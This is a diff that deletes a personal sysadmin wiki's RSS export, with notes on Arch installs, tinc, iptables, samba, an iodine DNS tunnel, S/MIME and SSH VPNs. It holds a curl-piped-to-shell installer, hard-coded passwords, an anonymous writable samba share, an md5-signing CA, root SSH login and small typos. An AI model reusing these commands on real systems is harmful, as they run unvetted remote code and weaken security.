-<description>&lt;h1&gt; Disable one interface&lt;/h1&gt;&lt;br&gt;&lt;pre&gt;lsusb
-lsusb -t
-# syntax of the id:
-# &amp;lt;bus&amp;gt;-&amp;lt;port&amp;gt;.&amp;lt;port&amp;gt;.&amp;lt;port&amp;gt;...
-cd /sys/bus/usb/drivers/usb/1-1.6 ; echo 1 &amp;gt; remove
-&lt;/pre&gt;</description>
-<category>usb</category>
-<link>null#USB</link>
-<pubDate>Fri, 07 Mar 2014 14:36:00 GMT</pubDate>
-
-</item>
-<item>
-<title>archlinux</title>
-<description>&lt;h1&gt; basic install&lt;/h1&gt;&lt;pre&gt;# we are using mbr again, guid somehow does not do the right thing
-fdisk /dev/sda
-# create linux partition(8300)
-n;enter;enter;enter
-# ... and btrfs because all the cool kids do so
-mkfs.btrfs /dev/sda2
-mkdir /mnt/btrfs-root /mnt/active
-mount /dev/sda2 /mnt/btrfs-root
-btrfs subvolume create __active &amp;amp;&amp;amp; cd __active
-btrfs subvolume create var
-mount /dev/sda2 -o default,noatime,subvol=__active /mnt/active
-
-# install that shit
-pacstrap /mnt/active base
-genfstab -p /mnt/active &amp;gt; /mnt/active/etc/fstab
-cat &amp;gt;&amp;gt; /mnt/active/etc/fstab&amp;lt;&amp;lt;EOF
-tmpfs /tmp tmpfs defaults 0 0
-## to never write persistent, uncomment:
-#tmpfs /var/log tmpfs defaults 0 0
-EOF
-arch-chroot /mnt/active
-ln -s /usr/share/zoneinfo/Europe/Berlin /etc/localtime
-echo &quot;LANG=en_US.UTF-8&quot; &amp;gt;&amp;gt; /etc/locale.conf
-echo &quot;en_US.UTF-8 UTF-8&quot; &amp;gt;&amp;gt; /etc/locale.gen
-locale-gen
-echo &quot;my-host&quot; &amp;gt; /etc/hostname
-mkinitcpio -p linux
-pacman -S openssh grub-bios
-grub-mkconfig -o /boot/grub/grub.cfg
-passwd
-# useradd -d /home/bob -m bob
-cd /etc/netctl
-cp examples/ethernet-static lan
-# edit lan , try network: enp0s25 or something
-netctl enable lan
-systemctl enable sshd.service
-grub-install /dev/sda
-exit
-reboot
-&lt;/pre&gt;</description>
-<link>null#archlinux</link>
-<pubDate>Wed, 26 Feb 2014 09:55:00 GMT</pubDate>
-
-</item>
-<item>
-<title>curl</title>
-<description>&lt;h1&gt; spoof host_name&lt;/h1&gt;&lt;pre&gt;curl --resolve host:80:ip host
-&lt;/pre&gt;</description>
-<link>null#curl</link>
-<pubDate>Tue, 14 Jan 2014 01:38:00 GMT</pubDate>
-
-</item>
-<item>
-<title>buildbot</title>
-<description>&lt;h1&gt; initial installation&lt;/h1&gt;&lt;pre&gt;#?/bin/sh
-# something like this
-
-useradd ci
-punani install python-virtualenv
-su ci
-virtualenv buildbot
-echo &quot;. $HOME/buildbot/bin/activate&quot; &amp;gt;~/.bashrc
-pip install buildbot-slave buildbot
-buildbot create-master master
-# cp master.conf master/master.conf
-buildbot reconf master
-# or reconfigure as many slaves as you wish
-buildslave create-slave slave localhost &quot;ubuntu1204-local-slave&quot; aidsballs
-buildbot start master
-buildslave start slave
-
-&lt;/pre&gt;</description>
-<link>null#buildbot</link>
-<pubDate>Tue, 14 Jan 2014 00:39:00 GMT</pubDate>
-
-</item>
-<item>
-<title>weechat</title>
-<description>&lt;h1&gt; compiling&lt;/h1&gt;&lt;h2&gt; fresh&lt;/h2&gt;&lt;pre&gt;./configure --prefix=/usr --sysconfdir=/etc
-make install
-&lt;/pre&gt;&lt;h2&gt; &lt;a tiddlylink=&quot;UTF-8&quot; refresh=&quot;link&quot; target=&quot;_blank&quot; title=&quot;External link to null#UTF-8&quot; href=&quot;null#UTF-8&quot; class=&quot;externalLink null&quot;&gt;UTF-8&lt;/a&gt; is broken after compilation&lt;/h2&gt;&lt;pre&gt;# you might have missed these two lines when doing ./configure:
-## *** ncursesw library not found! Falling back to &quot;ncurses&quot;
-## *** Be careful, UTF-8 display may not work properly if your locale is UTF-8.
-#install ncursesw header
-apt-get install libncursesw-dev
-&lt;/pre&gt;&lt;h1&gt; search&lt;/h1&gt;you will need 0.4.2 or higher. see &lt;code&gt;http://weechat.org/files/doc/devel/weechat_user.en.html#key_bindings_search_context&lt;/code&gt;.&lt;br&gt;&lt;pre&gt;/key resetall -yes search
-/save
-# search in nick names,etc
-ctrl-r and TAB...
-&lt;/pre&gt;&lt;h2&gt; grep&lt;/h2&gt;&lt;pre&gt;/script install grep.py
-/grep ball
-/help grep
-&lt;/pre&gt;</description>
-<link>null#weechat</link>
-<pubDate>Wed, 08 Jan 2014 15:47:00 GMT</pubDate>
-
-</item>
-<item>
-<title>dn42</title>
-<description>&lt;pre&gt;auto gre1
-iface gre1 inet tunnel
- mode gre
- netmask 255.255.255.255
- address -ask crest-
- dstaddr -ask crest-
- endpoint -crest endpoint-
- local -local ip-
- ttl 255
-
-&lt;/pre&gt;</description>
-<link>null#dn42</link>
-<pubDate>Sun, 29 Dec 2013 10:57:00 GMT</pubDate>
-
-</item>
-<item>
-<title>iptables</title>
-<description>&lt;h1&gt; Arch Linux&lt;/h1&gt;&lt;pre&gt;iptables -F
-iptables -P FORWARD DROP
-iptables -P INPUT DROP
-iptables -P OUTPUT ACCEPT
-iptables -A INPUT -p tcp --dport 1655 -j ACCEPT
-iptables -A INPUT -i lo -j ACCEPT
-iptables-save &amp;gt;/etc/iptables/iptables.rules
-systemctl enable iptables.service
-&lt;/pre&gt;</description>
-<link>null#iptables</link>
-<pubDate>Tue, 24 Dec 2013 12:23:00 GMT</pubDate>
-
-</item>
-<item>
-<title>Metadata</title>
-<description>&lt;h1&gt;wget + exiftool&lt;/h1&gt;&lt;pre&gt;wget -r -l1 --no-parent -A.jpg http://example.com
-exiftool -r -h -a -u -gl * &amp;gt;output.html
-&lt;/pre&gt;&lt;h1&gt; Videos&lt;/h1&gt;&lt;h2&gt; Methods&lt;/h2&gt;&lt;pre&gt;exiftool $file
-tovid id $file
-mplayer -vo null -ao null -identify -frames 0 $file
-
-&lt;/pre&gt;</description>
-<link>null#Metadata</link>
-<pubDate>Mon, 23 Dec 2013 20:31:00 GMT</pubDate>
-
-</item>
-<item>
-<title>Makefile</title>
-<description>&lt;h1&gt; For Testing&lt;/h1&gt;&lt;h2&gt; Async test all executables in t/ according to TAP&lt;/h2&gt;&lt;pre&gt;usage:;cat Makefile
-test:
- @export PATH=&quot;$(CURDIR)/bin:$(PATH)&quot;; \
- tests=&quot;`find t -type f -executable`&quot;; \
- i=1; \
- pids=&quot;&quot;;\
- n=`echo &quot;$$tests&quot; | wc -l`; \
- echo $$i..$$n; \
- for exe in $$tests; do \
- { \
- ./$$exe; \
- ret=$$?; \
- case $$ret in 0) result=ok;; *) result='not ok';; esac; \
- echo $$result $$i - $$exe; \
- exit $$ret;\
- } &amp;amp; \
- pids=&quot;$${pids} $$!&quot; \
- i=$$(( i+1 )); \
- done; \
- ret=0;\
- for pid in $$pids; do \
- wait $$pid || ret=23;\
- done; \
- exit $$ret;
-&lt;/pre&gt;&lt;h2&gt; Sync test all executables in t/&lt;/h2&gt;&lt;pre&gt;usage:;cat Makefile
-test:
- @export PATH=&quot;$(CURDIR)/bin:$(PATH)&quot;; \
- tests=&quot;`find t -type f -executable`&quot;; \
- i=1; \
- n=`echo &quot;$$tests&quot; | wc -l`; \
- echo $$i..$$n; \
- ret=0;\
- for exe in $$tests; do \
- ./$$exe; \
- thisret=$$?; \
- case $$thisret in 0) result=ok;; *) result='not ok';ret=255;; esac; \
- echo $$result $$i - $$exe; \
- i=$$(( i+1 )); \
- done; \
- exit $$ret;
-&lt;/pre&gt;</description>
-<category>journal</category>
-<link>null#Makefile</link>
-<pubDate>Tue, 17 Dec 2013 13:42:00 GMT</pubDate>
-
-</item>
-<item>
-<title>tinc</title>
-<description>Tinc is your virtual private network.&lt;br&gt;&lt;h1&gt;logging&lt;/h1&gt;Get infos from current network&lt;br&gt;see also github-&amp;gt;makefu-&amp;gt;retiolum&lt;br&gt;&lt;pre&gt;sudo tincd -n retiolum --kill=USR2 --user=tincd --chroot
-&lt;/pre&gt;run with&lt;br&gt;&lt;pre&gt;tincd --user=tincd --chroot -n retiolum
-&lt;/pre&gt;&lt;br&gt;&lt;h1&gt;installation&lt;/h1&gt;Use this installation with great caution!&lt;br&gt;&lt;pre&gt;curl tinc.krebsco.de | HOSTN=krebsbobkhan sh
-&lt;/pre&gt;&lt;h1&gt; v6-only host routing to v4 via tinc&lt;/h1&gt;&lt;h2&gt; server (pigstarter)&lt;/h2&gt;&lt;pre&gt;#?/bin/sh
-# forwarding
-echo &quot;net.ipv6.conf.conf.all.forwarding=1&quot;&amp;gt;&amp;gt; /etc/sysctl.conf
-sysctl net.ipv6.conf.conf.all.forwarding=1
-# ufw
-sed -i 's/\(DEFAULT_FORWARD_POLICY=\).*/\1&quot;ACCEPT&quot;/' /etc/default/ufw
-service ufw restart
-# tinc config
-echo &quot;Subnet = 0.0.0.0/0&quot; &amp;gt;&amp;gt; /etc/tinc/retiolum/hosts/pigstarter
-&lt;/pre&gt;&lt;h2&gt; client (irkel)&lt;/h2&gt;&lt;pre&gt;cat &amp;gt;&amp;gt;/etc/tinc/retiolum/tinc-up &amp;lt;&amp;lt;EOF
-ip addr add 10.243.0.153 dev \$INTERFACE
-ip addr add default dev \$INTERFACE
-EOF
-&lt;/pre&gt;&lt;br&gt;&lt;h1&gt; Building on amazon ec2 aws instance&lt;/h1&gt;&lt;pre&gt;#!/bin/sh
-set -e
-sudo yum install -y gcc openssl-devel
-mkdir build
-cd build
-curl http://www.oberhumer.com/opensource/lzo/download/lzo-2.04.tar.gz | tar xz
-cd lzo-2.04
-./configure --prefix=/usr
-make
-sudo make install
-cd ..
-curl http://www.tinc-vpn.org/packages/tinc-1.0.13.tar.gz | tar xz
-cd tinc-1.0.13
-./configure --prefix=/usr --sysconfdir=/etc --localstatedir=/var
-make
-sudo make install
-&lt;/pre&gt;</description>
-<link>null#tinc</link>
-<pubDate>Wed, 11 Dec 2013 10:27:00 GMT</pubDate>
-
-</item>
-<item>
-<title>Entropy</title>
-<description>&lt;h1&gt; generate entropy&lt;/h1&gt;&lt;h2&gt; haveged&lt;/h2&gt;&lt;pre&gt;pacman -S haveged
-systemctl start haveged
-&lt;/pre&gt;&lt;h2&gt; rng-tools&lt;/h2&gt;&lt;pre&gt;pacman -S rng-utils
-rngd -f -r /dev/urandom
-&lt;/pre&gt;</description>
-<link>null#Entropy</link>
-<pubDate>Tue, 26 Nov 2013 18:03:00 GMT</pubDate>
-
-</item>
-<item>
-<title>samba</title>
-<description>&lt;h1&gt; Anonymous Samba Share&lt;/h1&gt;&lt;h2&gt; Create Samba Config&lt;/h2&gt;in &lt;code&gt;/etc/samba/smb.conf&lt;/code&gt;&lt;br&gt;&lt;pre&gt;[global]
- # this disables all the authentication with 'guest ok'
- #security = SHARE
-[temp]
- comment = Shared
- path = /home/samba
- force user = sambaman
- force group = users
- read only = No
- guest ok = Yes
-&lt;/pre&gt;&lt;h2&gt; Create Samba User&lt;/h2&gt;&lt;pre&gt;useradd -c &quot;Sambaman&quot; -m -g users -p &quot;moar samba browsing fuck yeah&quot; sambaman
-&lt;/pre&gt;&lt;h2&gt; Restart &lt;/h2&gt;&lt;pre&gt;systemctl restart smbd
-&lt;/pre&gt;</description>
-<link>null#samba</link>
-<pubDate>Tue, 26 Nov 2013 16:50:00 GMT</pubDate>
-
-</item>
-<item>
-<title>DNS TUNNEL</title>
-<description>&lt;h1&gt;&lt;a tiddlyfields=&quot;server.type:&amp;quot;file&amp;quot; server.host:&amp;quot;file:///home/makefu/Downloads/knowledge_base.html&amp;quot;&quot; tiddlylink=&quot;Server-Side&quot; refresh=&quot;link&quot; target=&quot;_blank&quot; title=&quot;External link to null#Server-Side&quot; href=&quot;null#Server-Side&quot; class=&quot;externalLink null&quot;&gt;Server-Side&lt;/a&gt;&lt;/h1&gt;&lt;pre&gt;useradd -r tun
-iodined -f 172.16.0.1 io.krebsco.de -u tun -P &quot;aidsballs&quot; -t /home/tun -c
-&lt;/pre&gt;&lt;h1&gt;&lt;a tiddlyfields=&quot;server.type:&amp;quot;file&amp;quot; server.host:&amp;quot;file:///home/makefu/Downloads/knowledge_base.html&amp;quot;&quot; tiddlylink=&quot;Client-Side&quot; refresh=&quot;link&quot; target=&quot;_blank&quot; title=&quot;External link to null#Client-Side&quot; href=&quot;null#Client-Side&quot; class=&quot;externalLink null&quot;&gt;Client-Side&lt;/a&gt;&lt;/h1&gt;&lt;pre&gt;# -r skips direct mode (good for testing)
-sudo iodine -f -I1 io.krebsco.de
-&lt;/pre&gt;&lt;h1&gt; Testing&lt;/h1&gt;&lt;a target=&quot;_blank&quot; title=&quot;External link to http://code.kryo.se/iodine/check-it/&quot; href=&quot;http://code.kryo.se/iodine/check-it/&quot; class=&quot;externalLink&quot;&gt;http://code.kryo.se/iodine/check-it/&lt;/a&gt;</description>
-<link>null#%5B%5BDNS%20TUNNEL%5D%5D</link>
-<pubDate>Mon, 25 Nov 2013 21:07:00 GMT</pubDate>
-
-</item>
-<item>
-<title>mutt</title>
-<description>&lt;h1&gt; html view&lt;/h1&gt;in .mailcap&lt;br&gt;&lt;pre&gt;text/html;w3m -dump '%s' -O utf-8 -I %{charset} ; copiousoutput; description=HTML Text; nametemplate=%s.html
-&lt;/pre&gt;in .muttrc&lt;br&gt;&lt;pre&gt;auto_view text/html
-&lt;/pre&gt;&lt;h1&gt; smime&lt;/h1&gt;&lt;pre&gt;echo &quot;source /usr/share/doc/mutt/samples/smime.rc&quot; &amp;gt;&amp;gt; ~/.muttrc
-smime_keys init
-wget http://services.support.alcatel-lucent.com/PKI/rootCA.crt
-smime_keys add_root rootCA.crt
-
-# create private CA and derive mail certificate (see below)
-# OR
-# get free trusted Certificate from http://www.comodo.com/home/email-security/free-email-certificate.php
-
-smime_keys add_p12 mail.p12
-echo 'set smime_default_key=&quot;&amp;lt;see output above&amp;gt;&quot;' &amp;gt;&amp;gt; ~/.muttrc
-
-mutt
-# receive signed mail of crypto partner
-## CTRL-K
-#fix the ~/.smime/certificates/.index as extraction of complete chains does not work correctly as of today (31.01.2012) see Mutt #3559
-&lt;/pre&gt;&lt;h2&gt; Create own CA&lt;/h2&gt;&lt;pre&gt;mkdir ca
-openssl req -new -x509 -keyout ca/rooty.key -out ca/root.pem -days 9001
-openssl rsa -in ca/rooty.key &amp;gt; ca/root.key
-rm ca/rooty.key
-cat &amp;gt; root.cnf &amp;lt;&amp;lt;EOF
-[ ca ]
-default_ca = ca_default
-[ ca_default ]
-dir = ./ca
-certs = $dir
-new_certs_dir = $dir/ca.db.certs
-database = $dir/ca.db.index
-serial = $dir/ca.db.serial
-RANDFILE = $dir/ca.db.rand
-certificate = $dir/ca.crt
-private_key = $dir/ca.key
-default_days = 365
-default_crl_days = 30
-default_md = md5
-preserve = no
-policy = generic_policy
-[ generic_policy ]
-countryName = optional
-stateOrProvinceName = optional
-localityName = optional
-organizationName = optional
-organizationalUnitName = optional
-commonName = supplied
-emailAddress = optional
-EOF
-
-echo '100001' &amp;gt;ca/ca.db.serial
-touch ./ca/ca.db.index
-mkdir ./ca/ca.db.certs
-
-openssl req -new -keyout mail.key -out mail.csr -days 9001
-openssl ca -config root.cnf -out mail.crt -infiles mail.csr
-openssl pkcs12 -export -inkey mail.key -certfile ca/root.crt -out mail.p12 -in mail.crt
-
-smime_keys add_root ca/root.crt
-smime_keys add_cert ca/root.crt
-# add private certificate
-
-&lt;/pre&gt;&lt;br&gt;&lt;h1&gt; &lt;a tiddlyfields=&quot;server.type:&amp;quot;file&amp;quot; server.host:&amp;quot;file:///home/makefu/Downloads/knowledge_base.html&amp;quot;&quot; tiddlylink=&quot;offlineimap&quot; refresh=&quot;link&quot; target=&quot;_blank&quot; title=&quot;External link to null#offlineimap&quot; href=&quot;null#offlineimap&quot; class=&quot;externalLink null&quot;&gt;offlineimap&lt;/a&gt;&lt;/h1&gt;</description>
-<link>null#mutt</link>
-<pubDate>Mon, 18 Nov 2013 21:28:00 GMT</pubDate>
-
-</item>
-<item>
-<title>swapdisk</title>
-<description>&lt;h1&gt;create swap from file&lt;/h1&gt;&lt;pre&gt;truncate --size 8G /swapfile
-mkswap /swapfile
-swapon /swapon
-&lt;/pre&gt;&lt;h2&gt; /etc/fstab&lt;/h2&gt;&lt;pre&gt;echo &quot;/swapfile none swap defaults 0 0&quot; &amp;gt;&amp;gt; /etc/fstab
-&lt;/pre&gt;&lt;h1&gt;minimize swappiness&lt;/h1&gt;&lt;pre&gt;echo 0 &amp;gt; /proc/sys/vm/swappiness
-&lt;/pre&gt;&lt;br&gt;&lt;h2&gt; after reboot&lt;/h2&gt;in &lt;code&gt;/etc/sysctl.conf&lt;/code&gt;&lt;br&gt;&lt;pre&gt;vm.swappiness=1
-&lt;/pre&gt;</description>
-<link>null#swapdisk</link>
-<pubDate>Sun, 17 Nov 2013 23:30:00 GMT</pubDate>
-
-</item>
-<item>
-<title>MainMenu</title>
-<description>&lt;a tiddlyfields=&quot;server.type:&amp;quot;file&amp;quot; server.host:&amp;quot;file:///home/makefu/Downloads/knowledge_base.html&amp;quot;&quot; tiddlylink=&quot;GettingStarted&quot; refresh=&quot;link&quot; target=&quot;_blank&quot; title=&quot;External link to null#GettingStarted&quot; href=&quot;null#GettingStarted&quot; class=&quot;externalLink null&quot;&gt;GettingStarted&lt;/a&gt;&lt;br&gt;&lt;a tiddlyfields=&quot;server.type:&amp;quot;file&amp;quot; server.host:&amp;quot;file:///home/makefu/Downloads/knowledge_base.html&amp;quot;&quot; tiddlylink=&quot;Security&quot; refresh=&quot;link&quot; target=&quot;_blank&quot; title=&quot;External link to null#Security&quot; href=&quot;null#Security&quot; class=&quot;externalLink null&quot;&gt;Security&lt;/a&gt;&lt;br&gt;&lt;a tiddlyfields=&quot;server.type:&amp;quot;file&amp;quot; server.host:&amp;quot;file:///home/makefu/Downloads/knowledge_base.html&amp;quot;&quot; tiddlylink=&quot;Hardware&quot; refresh=&quot;link&quot; target=&quot;_blank&quot; title=&quot;External link to null#Hardware&quot; href=&quot;null#Hardware&quot; class=&quot;externalLink null&quot;&gt;Hardware&lt;/a&gt;&lt;br&gt;&lt;a tiddlyfields=&quot;server.type:&amp;quot;file&amp;quot; server.host:&amp;quot;file:///home/makefu/Downloads/knowledge_base.html&amp;quot;&quot; tiddlylink=&quot;Programming&quot; refresh=&quot;link&quot; target=&quot;_blank&quot; title=&quot;External link to null#Programming&quot; href=&quot;null#Programming&quot; class=&quot;externalLink null&quot;&gt;Programming&lt;/a&gt;&lt;br&gt;&lt;a tiddlyfields=&quot;server.type:&amp;quot;file&amp;quot; server.host:&amp;quot;file:///home/makefu/Downloads/knowledge_base.html&amp;quot;&quot; tiddlylink=&quot;Hacking&quot; refresh=&quot;link&quot; target=&quot;_blank&quot; title=&quot;External link to null#Hacking&quot; href=&quot;null#Hacking&quot; class=&quot;externalLink null&quot;&gt;Hacking&lt;/a&gt;&lt;br&gt;&lt;h1&gt; Misc&lt;/h1&gt;&lt;a tiddlyfields=&quot;server.type:&amp;quot;file&amp;quot; server.host:&amp;quot;file:///home/makefu/Downloads/knowledge_base.html&amp;quot;&quot; tiddlylink=&quot;TODO&quot; refresh=&quot;link&quot; target=&quot;_blank&quot; title=&quot;External link to null#TODO&quot; href=&quot;null#TODO&quot; class=&quot;externalLink null&quot;&gt;TODO&lt;/a&gt;&lt;br&gt;&lt;a tiddlyfields=&quot;server.type:&amp;quot;file&amp;quot; server.host:&amp;quot;file:///home/makefu/Downloads/knowledge_base.html&amp;quot;&quot; tiddlylink=&quot;Fun&quot; refresh=&quot;link&quot; target=&quot;_blank&quot; title=&quot;External link to null#Fun&quot; href=&quot;null#Fun&quot; class=&quot;externalLink null&quot;&gt;Fun&lt;/a&gt;&lt;br&gt;&lt;a target=&quot;_blank&quot; title=&quot;External link to /wiki/knowledge_base.xml&quot; href=&quot;/wiki/knowledge_base.xml&quot; class=&quot;externalLink&quot;&gt;RSS of this Blog&lt;/a&gt;&lt;br&gt;</description>
-<link>null#MainMenu</link>
-<pubDate>Thu, 07 Nov 2013 14:12:00 GMT</pubDate>
-
-</item>
-<item>
-<title>VPN</title>
-<description>&lt;h1&gt; Default route via SSH&lt;/h1&gt;see more &lt;a target=&quot;_blank&quot; title=&quot;External link to https://wiki.archlinux.org/index.php/VPN_over_SSH#OpenSSH.27s_built_in_tunneling&quot; href=&quot;https://wiki.archlinux.org/index.php/VPN_over_SSH#OpenSSH.27s_built_in_tunneling&quot; class=&quot;externalLink&quot;&gt;https://wiki.archlinux.org/index.php/VPN_over_SSH#OpenSSH.27s_built_in_tunneling&lt;/a&gt;&lt;br&gt;&lt;h2&gt; using pvpn&lt;/h2&gt;&lt;h3&gt; prepreqs&lt;/h3&gt;&lt;pre&gt;GNU/Linux
-OpenSSH
-pppd
-bash
-iproute2
-dnsutils (dig(1))
-asciidoc
-(make)
-(binutils)
-&lt;/pre&gt;&lt;br&gt;&lt;h3&gt; server side&lt;/h3&gt;&lt;pre&gt;echo &quot;PermitTunnel yes&quot; &amp;gt;&amp;gt; /etc/ssh/sshd_config
-# deploy client pubkey for root
-echo &quot;PermitRootLogin without-password&quot; &amp;gt;&amp;gt; /etc/ssh/sshd_config
-echo &quot;net.ipv4.ip_forward=1&quot; &amp;gt;&amp;gt; /etc/sysctl.conf
-echo &quot;iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE&quot; &amp;gt;&amp;gt; /etc/rc.local
-&lt;/pre&gt;&lt;h3&gt; client side&lt;/h3&gt;&lt;pre&gt;yaourt -S pvpn
-ssh-copy-id root@host
-pvpn -t ssh-3 root@host default
-&lt;/pre&gt;</description>
-<link>null#VPN</link>
-<pubDate>Tue, 22 Oct 2013 22:28:00 GMT</pubDate>
-
-</item>
-<item>
-<title>systemd</title>
-<description>&lt;h1&gt; run shit in tmux&lt;/h1&gt;in &lt;code&gt;/etc/systemd/system/start-shit.service&lt;/code&gt;&lt;br&gt;&lt;pre&gt;[Unit]
-Description=start shit
-
-[Service]
-Type=oneshot
-RemainAfterExit=yes
-KillMode=none
-User=root
-ExecStart=/usr/bin/tmux new-session -s %u -d '&amp;lt;my cool script&amp;gt;'
-ExecStop=/usr/bin/tmux kill-session -t %u
-
-[Install]
-WantedBy=multi-user.target
-&lt;/pre&gt;&lt;h1&gt; call rc.local&lt;/h1&gt;in &lt;code&gt;/etc/systemd/system/rc-local.service&lt;/code&gt;&lt;br&gt;&lt;pre&gt;[Unit]
-Description=/etc/rc.local Compatibility
-ConditionPathExists=/etc/rc.local
-
-[Service]
-Type=oneshot
-ExecStart=/etc/rc.local start
-StandardOutput=tty
-RemainAfterExit=yes
-SysVStartPriority=99
-
-[Install]
-WantedBy=multi-user.target
-&lt;/pre&gt;</description>
-<link>null#systemd</link>
-<pubDate>Tue, 22 Oct 2013 22:22:00 GMT</pubDate>
-
-</item>
-<item>
-<title>File Systems</title>
-<description>&lt;h1&gt; umount&lt;/h1&gt;&lt;pre&gt;fuser -amuv /path/to/mount
-kill dat-shit
-&lt;/pre&gt;&lt;h1&gt; umount nfs&lt;/h1&gt;&lt;pre&gt;umount -l /path/to/nfs
-&lt;/pre&gt;</description>
-<link>null#%5B%5BFile%20Systems%5D%5D</link>
-<pubDate>Tue, 22 Oct 2013 17:37:00 GMT</pubDate>
-
-</item>
-</channel>
-</rss> \ No newline at end of file
+/home/autosync/autosync/wiki/private/knowledge_base.xml \ No newline at end of file
[cgit] Unable to lock slot /tmp/cgit/01000000.lock: No such file or directory (2)